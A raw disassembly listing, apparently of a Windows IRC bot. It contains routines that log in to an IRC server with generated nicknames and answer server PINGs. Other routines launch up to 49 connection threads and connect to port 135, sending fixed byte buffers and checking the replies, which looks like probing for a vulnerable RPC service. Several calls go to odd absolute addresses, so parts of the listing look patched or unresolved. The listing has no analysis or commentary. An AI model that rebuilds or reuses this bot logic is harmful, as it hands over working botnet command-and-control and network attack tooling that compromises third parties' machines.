		cmp	byte ptr [ecx+1], 0
		jnz	short loc_4179DF
		cmp	dl, 20h
		jnb	short loc_4179D9
		and	[ebp+var_8], 0


loc_4179D9:				; CODE XREF: sub_417938+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_4179E3


loc_4179DF:				; CODE XREF: sub_417938+90j
					; sub_417938+96j
		and	[ebp+var_8], 0


loc_4179E3:				; CODE XREF: sub_417938+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_4179BB
		cmp	[ebp+var_8], 0
		jz	short loc_417A10


loc_4179F3:				; CODE XREF: sub_417938+81j
		push	[ebp+var_14]
		push	offset dword_4D1170
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437EEC
		push	edi
		push	esi
		call	sub_41C100
		add	esp, 1Ch
		jmp	short loc_417A28
; ---------------------------------------------------------------------------


loc_417A10:				; CODE XREF: sub_417938+87j
					; sub_417938+B9j
		push	offset dword_4D1170
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437F3C
		push	edi
		push	esi
		call	sub_41C100
		add	esp, 18h


loc_417A28:				; CODE XREF: sub_417938+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41797E
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27D0B9Eh
		push	eax
		nop
		call	near ptr 27C0000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417938	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A51	proc near		; CODE XREF: sub_417C15+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4C9384
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417ACD
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4C9304
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4C9344
		cmp	eax, esi
		jnz	short loc_417AB2
		push	[ebp+arg_0]
		call	dword_4C9388
		test	eax, eax
		jz	short loc_417ACD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417AB2:				; CODE XREF: sub_417A51+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4C92AC
		cmp	eax, esi
		jnz	short loc_417AD1
		push	edi
		call	dword_4C939C


loc_417ACD:				; CODE XREF: sub_417A51+1Bj
					; sub_417A51+58j
		mov	eax, esi
		jmp	short loc_417AD3
; ---------------------------------------------------------------------------


loc_417AD1:				; CODE XREF: sub_417A51+73j
		mov	eax, edi


loc_417AD3:				; CODE XREF: sub_417A51+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417A51	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AD7	proc near		; CODE XREF: sub_401AC7+3275p
					; sub_401AC7+32DCp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A084 ; "\n"
		push	edi
		call	sub_41C630
		pop	ecx
		mov	esi, offset dword_4D239C
		pop	ecx


loc_417AEF:				; CODE XREF: sub_417AD7+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417B0D
		cmp	dword ptr [esi], 0
		jbe	short loc_417B0D
		push	0
		push	edi
		call	sub_41B960
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4C9354


loc_417B0D:				; CODE XREF: sub_417AD7+1Cj
					; sub_417AD7+21j
		add	esi, 210h
		cmp	esi, offset dword_4D8ABC
		jl	short loc_417AEF
		pop	edi
		pop	esi
		retn
sub_417AD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B1E	proc near		; CODE XREF: sub_417C15+152p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CDCC ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C864
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417B43:				; CODE XREF: sub_417B1E+35j
		push	esi
		push	0
		call	sub_41C864
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417B43
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417B6B
		cmp	esi, edi
		jnz	short loc_417B6B
		push	1
		pop	eax
		jmp	loc_417C10
; ---------------------------------------------------------------------------


loc_417B6B:				; CODE XREF: sub_417B1E+3Fj
					; sub_417B1E+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C7E0
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417B95
		lea	eax, [ebp+var_220]
		push	offset dword_438B54
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	short loc_417BEF
; ---------------------------------------------------------------------------


loc_417B95:				; CODE XREF: sub_417B1E+5Fj
		push	offset a433	; "433"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BB6
		push	esi
		push	offset dword_438B50
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C0E


loc_417BB6:				; CODE XREF: sub_417B1E+85j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BD10
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_220]
		push	offset dword_438B44
		push	eax
		call	sub_41C006
		add	esp, 1Ch


loc_417BEF:				; CODE XREF: sub_417B1E+75j
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354


loc_417C0E:				; CODE XREF: sub_417B1E+96j
		xor	eax, eax


loc_417C10:				; CODE XREF: sub_417B1E+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C15	proc near		; DATA XREF: sub_417DB7+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C2A0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D23A4[esi]
		mov	dword_4D2398[esi], edi
		push	dword_4D25A4[esi]
		push	eax
		call	sub_417A51
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D239C[esi], eax
		jb	loc_417D97
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BD10
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C006
		add	esp, 2Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D239C[esi]
		call	dword_4C9354
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch


loc_417CEE:				; CODE XREF: sub_417C15+10Ej
					; sub_417C15+17Dj
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D239C[esi]
		call	dword_4C931C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417D97
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417CEE


loc_417D25:				; CODE XREF: sub_417C15+17Bj
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417D4C
		cmp	al, 0Ah
		jz	short loc_417D4C
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417D4C
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417D86
; ---------------------------------------------------------------------------


loc_417D4C:				; CODE XREF: sub_417C15+119j
					; sub_417C15+11Dj ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417D86
		push	dword_4D239C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B1E
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417D97
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417D86:				; CODE XREF: sub_417C15+135j
					; sub_417C15+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417D25
		jmp	loc_417CEE
; ---------------------------------------------------------------------------


loc_417D97:				; CODE XREF: sub_417C15+40j
					; sub_417C15+104j ...
		mov	dword_4D2398[esi], ebx
		mov	esi, dword_4D239C[esi]
		cmp	esi, ebx
		jbe	short loc_417DAE
		push	esi
		call	dword_4C939C


loc_417DAE:				; CODE XREF: sub_417C15+190j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417C15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DB7	proc near		; CODE XREF: sub_401AC7+31CAp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417E30


loc_417DC9:				; CODE XREF: sub_417DB7+77j
		xor	edi, edi
		mov	eax, offset dword_4D2398


loc_417DD0:				; CODE XREF: sub_417DB7+28j
		cmp	[eax], ebx
		jz	short loc_417DE1
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4D8AB8
		jl	short loc_417DD0


loc_417DE1:				; CODE XREF: sub_417DB7+1Bj
		cmp	edi, 31h
		jz	short loc_417E30
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D23A4[esi]
		push	eax
		call	sub_41C620
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D25A4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D2398[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417C15
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417DC9


loc_417E30:				; CODE XREF: sub_417DB7+10j
					; sub_417DB7+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417DB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E35	proc near		; CODE XREF: sub_401AC7+3713p
					; sub_401AC7+375Ap ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		call	sub_41C062
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F0
		call	sub_41CF04
		cmp	eax, 1
		jnz	short loc_417E7F
		call	sub_41C062
		call	sub_41C062
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	dword ptr loc_43828B+5[edx*4]
		jmp	short loc_417E98
; ---------------------------------------------------------------------------


loc_417E7F:				; CODE XREF: sub_417E35+2Fj
		call	sub_41C062
		call	sub_41C062
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437F90[edx*4]


loc_417E98:				; CODE XREF: sub_417E35+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C620
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B960
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		call	sub_41CF04
		mov	ebx, eax
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41CF04
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417F0B
		cmp	esi, 3
		jnz	short loc_417F02
		cmp	ebx, 1
		jz	short loc_417F0B


loc_417F02:				; CODE XREF: sub_417E35+C6j
		cmp	eax, 1
		jnz	loc_417FC5


loc_417F0B:				; CODE XREF: sub_417E35+C1j
					; sub_417E35+CBj
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41CF04
		push	dword ptr loc_43828B+5[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C620
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C720
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417FB2
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C720
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417FB2
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41CF04
		cmp	eax, 1
		jnz	short loc_417FB2
		push	edi
		call	sub_41B960
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E0
		call	sub_41CF04
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417FB2:				; CODE XREF: sub_417E35+111j
					; sub_417E35+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C950
		add	esp, 0Ch


loc_417FC5:				; CODE XREF: sub_417E35+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B960
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DDE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41822D
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C720
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418124
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41CF04
		cmp	esi, 3
		jz	short loc_418033
		cmp	eax, 1
		jnz	loc_418124


loc_418033:				; CODE XREF: sub_417E35+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_418075
		push	edi
		call	sub_41B960
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41CF04
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_418091
; ---------------------------------------------------------------------------


loc_418075:				; CODE XREF: sub_417E35+207j
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41CF04
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_418091:				; CODE XREF: sub_417E35+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41CF04
		cmp	esi, 3
		jz	short loc_4180BA
		cmp	eax, ebx
		jnz	short loc_418124


loc_4180BA:				; CODE XREF: sub_417E35+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_4180FF
		push	edi
		call	sub_41B960
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41CF04
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41811D
; ---------------------------------------------------------------------------


loc_4180FF:				; CODE XREF: sub_417E35+28Fj
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41CF04
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41811D:				; CODE XREF: sub_417E35+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_418124:				; CODE XREF: sub_417E35+1C9j
					; sub_417E35+1F8j ...
		cmp	esi, 6
		jge	loc_4181AD
		cmp	esi, 5
		jge	short loc_418145
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		jmp	short loc_418163
; ---------------------------------------------------------------------------


loc_418145:				; CODE XREF: sub_417E35+2FBj
		call	sub_41C062
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0


loc_418163:				; CODE XREF: sub_417E35+30Ej
		call	sub_41CF04
		test	eax, eax
		jnz	short loc_418186
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41CF04
		mov	cl, 30h
		jmp	short loc_4181A3
; ---------------------------------------------------------------------------


loc_418186:				; CODE XREF: sub_417E35+335j
		cmp	eax, 1
		jnz	short loc_4181AD
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41CF04
		mov	cl, 41h


loc_4181A3:				; CODE XREF: sub_417E35+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_4181AD:				; CODE XREF: sub_417E35+2F2j
					; sub_417E35+354j
		cmp	[ebp+var_C], 2
		jge	short loc_41822D
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41CF04
		cmp	eax, 1
		jnz	short loc_41822D
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41CF04
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41CF04
		cmp	eax, 1
		jnz	short loc_41822D
		cmp	[ebp+var_C], eax
		jge	short loc_41822D
		call	sub_41C062
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41CF04
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_41822D:				; CODE XREF: sub_417E35+1B1j
					; sub_417E35+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BD70
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418246	proc near		; CODE XREF: sub_41827E+125p
					; sub_41827E+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_418274


loc_418257:				; CODE XREF: sub_418246+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DE40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41827A
		inc	esi
		cmp	esi, edi
		jl	short loc_418257


loc_418274:				; CODE XREF: sub_418246+Fj
		xor	al, al


loc_418276:				; CODE XREF: sub_418246+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41827A:				; CODE XREF: sub_418246+27j
		mov	al, 1
		jmp	short loc_418276
sub_418246	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41827E	proc near		; CODE XREF: ___:0040DFC8p
					; ___:0040E0B1p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C2A0
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_4182BF
		dec	eax
		jz	short loc_41829D
		dec	eax


loc_418297:				; CODE XREF: sub_41827E+57j
		xor	eax, eax


loc_418299:				; CODE XREF: sub_41827E+3Fj
					; sub_41827E+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41829D:				; CODE XREF: sub_41827E+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4C9344
		push	eax
		call	sub_40C336
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_418299
; ---------------------------------------------------------------------------


loc_4182BF:				; CODE XREF: sub_41827E+13j
		push	6
		push	1
		push	2
		call	dword_4C9384
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_418297
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4C9304
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A8E4
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4C92AC
		cmp	eax, edi
		jz	loc_4183DB
		push	ebx
		push	48h
		push	offset dword_438B9C
		push	esi
		call	dword_4C9354
		cmp	eax, edi
		jz	loc_4183DB
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4C931C
		cmp	eax, edi
		jz	loc_4183DB
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_4183DB
		push	ebx
		push	18h
		push	offset dword_438BE8
		push	[ebp+arg_4]
		call	dword_4C9354
		cmp	eax, edi
		jz	short loc_4183DB
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4C931C
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_4183DB
		cmp	[ebp+var_200E],	2
		jnz	short loc_4183DB
		push	10h
		push	offset loc_438C04
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418246
		add	esp, 10h
		test	al, al
		jz	short loc_4183BB
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_4183DB
; ---------------------------------------------------------------------------


loc_4183BB:				; CODE XREF: sub_41827E+12Fj
		push	10h
		push	offset dword_438C18
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418246
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_4183DB:				; CODE XREF: sub_41827E+9Bj
					; sub_41827E+B2j ...
		push	[ebp+arg_4]
		call	dword_4C939C
		mov	eax, ebx
		pop	ebx
		jmp	loc_418299
sub_41827E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4183EC	proc near		; CODE XREF: sub_401AC7+BC3p
					; sub_401AC7+C00p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_418477
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_418477
		cmp	[ebp+arg_8], esi
		jz	short loc_418477
		cmp	byte ptr [eax],	0
		jz	short loc_418477
		push	ebx
		push	edi
		call	sub_426340
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_418472
		push	[ebp+arg_4]
		push	edi
		call	sub_41C080
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41846B
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BD70
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B960
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C950
		push	[ebp+arg_4]
		call	sub_41B960
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C630
		push	ebx
		push	edi
		call	sub_41C620
		add	esp, 30h
		mov	esi, edi


loc_41846B:				; CODE XREF: sub_4183EC+3Cj
		push	ebx
		call	sub_41BA31
		pop	ecx


loc_418472:				; CODE XREF: sub_4183EC+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_418479
; ---------------------------------------------------------------------------


loc_418477:				; CODE XREF: sub_4183EC+Cj
					; sub_4183EC+13j ...
		xor	eax, eax


loc_418479:				; CODE XREF: sub_4183EC+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4183EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41847D	proc near		; CODE XREF: sub_40194F+E9p
					; ___:00410CB2p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BD10
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B960
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_4184B3
		or	eax, 0FFFFFFFFh
